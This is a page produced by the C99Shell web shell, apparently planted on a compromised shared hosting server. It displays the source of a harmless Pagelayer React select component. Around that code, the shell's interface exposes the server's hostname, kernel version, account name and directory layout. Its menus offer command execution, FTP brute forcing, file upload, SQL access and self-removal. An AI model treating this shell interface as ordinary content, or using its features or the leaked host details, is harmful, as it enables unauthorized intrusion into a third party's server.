!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/7.3.33 

uname -a: Linux acloudg.aryanict.com 4.18.0-513.9.1.lve.el8.x86_64 #1 SMP Mon Dec 4 15:01:22 UTC
2023 x86_64
 

uid=1095(katebhospital) gid=1098(katebhospital) groups=1098(katebhospital) 

Safe-mode: OFF (not secure)

/var/softaculous/sitepad/editor/site-data/plugins/pagelayer/js/react/src/components/   drwxr-xr-x
Free 293.02 GB of 429.69 GB (68.19%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     select.js (2.18 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
import { useState } from '@wordpress/element';
import { LabelControl } from './label';

export const SelectControl = (props) =>{
	
	const { prop, label, value, setAttributes, attributes } = props;
	const { name } = prop['c'];
	
	const handleSelectChange = (e) => {
		var val = e.target.value;

		setAttributes({ [name]: val });

		if( name == 'animation' ){
			var jEle = jQuery(`.p-${attributes['pagelayer-id']}`);
			var sel = jQuery(e.target);
			pagelayer_trigger_anim(jEle, sel, val);
		}
	};
	
	const renderOptions = () => {
		return Object.keys(prop.list).map((groupOrValue, index) => {
			if (typeof prop.list[groupOrValue] === 'string') {
				return (
					<option
						key={index}
						value={groupOrValue}
						selected={groupOrValue == value ? 'selected' : ''}
					>
					{prop.list[groupOrValue]}
					</option>
				);
			}else{
				return (
					<optgroup key={index} label={groupOrValue}>
						{Object.keys(prop.list[groupOrValue]).map((subOption, subIndex) => (
						<option
							key={subIndex}
							value={subOption}
							selected={subOption == value ? 'selected' : ''}
						>
						{prop.list[groupOrValue][subOption]}
						</option>
						))}
					</optgroup>
				);
			}
		});
	};
	
	return (
		<div className="components-base-control pagelayer-base-control pagelayer-flex">
			<LabelControl {...props}/>
			<div className="pagelayer-elp-select-div pagelayer-elp-pos-rel">
				<select
					className="pagelayer-elp-select pagelayer-select"
					name={name}
					onChange={handleSelectChange}
				>
				{renderOptions()}
				</select>
			</div>
		</div>
	);	
}

const pagelayer_trigger_anim = (elem, sel, anim) => {

	var classList = elem.attr('class');
	classList = classList.split(/\s+/);

	jQuery(sel).find('option').each(function(){
		var found = jQuery.inArray( jQuery(this).val(), classList );
		if( found != -1){
			elem.removeClass(jQuery(this).val());
		}
	});
	
	elem.css('animation-name', '');
	elem.removeClass('pagelayer-wow').addClass(anim + ' animated').one('webkitAnimationEnd mozAnimationEnd MSAnimationEnd oanimationend animationend', function(){
		jQuery(this).removeClass(anim+ ' animated');
	});
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0041 ]--